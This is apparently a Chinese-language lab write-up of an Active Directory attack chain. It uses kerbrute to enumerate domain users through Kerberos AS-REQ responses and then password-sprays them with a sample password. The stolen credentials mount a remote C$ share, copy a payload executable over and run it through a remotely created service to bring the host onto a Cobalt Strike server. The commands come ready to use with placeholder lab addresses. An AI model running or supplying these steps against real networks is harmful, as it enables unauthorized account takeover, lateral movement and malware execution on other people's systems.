域内用户枚举攻击原理
正常域用户登录主机,我们可以通过 "net user /domain"来列举出域内的用户。但是当我们用非域用户进行登录时,是不能使用 "net user /domain"这条命令的。或者当主机不在域内但是能与域控通信时,以上两种情况我们可以通过以下方法对域内用户进行枚举。
Kerberos本身是一种基于身份认证的协议,在 Kerberos 协议认证的 第一阶段AS-REQ ,当用户不存在时,返回包提示错误。当用户名存在,密码正确和密码错误时,AS-REP的返回包不一样。所以可以利用这点,对域内进行域用户枚举和密码喷洒攻击。在AS-REQ阶段客户端向AS发送用户名,AS对用户名进行验证,用户存在和不存在返回的数据包不一样,所以,根据AS的返回包来对域用户进行枚举
实验目标:
把非域内主机横向到域内主机

实验步骤
1.上传kerbrute.exe工具和密码字典

2.使用kerbrute.exe工具爆破域内用户名
kerbrute.exe userenum --dc 域控ip -d 域名 用户名字典.txt
shell C:\Users\31979\Desktop\kerbrute.exe userenum --dc 192.168.113.152 -d test.com C:\Users\31979\Desktop\user.txt

找到jack和krbuser
3.密码喷洒攻击找到用户密码
密码喷洒攻击原理
在确认用户存在后,客户端又会发送一个AS-REQ请求,如果密码正确,则返回AS-REP。否则返回KRB5KDC_ERP_PREAUTH_FAILED
在常规的爆破中,我们都是先用很多密码去碰撞一个账号,这样很容易导致账号被锁定。而密码喷洒就是先用一个密码去碰撞很多账号,此方法能有效的避免账号被锁定的问题
kerbrute.exe passwordspray -d 域名 用户字典 密码
shell C:\Users\31979\Desktop\kerbrute.exe passwordspray -d test.com C:\Users\31979\Desktop\user.txt qax@123

成功找到这两个用户的密码,那我们在这个域中,就可以直接登录他们的机器了
4.得到用户密码后,让该主机在cs上线
先用 net use 挂载 IPC$ 授权,再 copy
shell net use \\192.168.113.154\C$ /user:krbuser qax@123
shell copy 123.exe \\192.168.113.154\C$\
配合系统服务横向移动
sc \\192.168.113.154 create test binpath= "cmd.exe /c c:\123.exe"
sc \\192.168.113.154 start test

成功上线
删除服务
sc \\192.168.17.138 delete test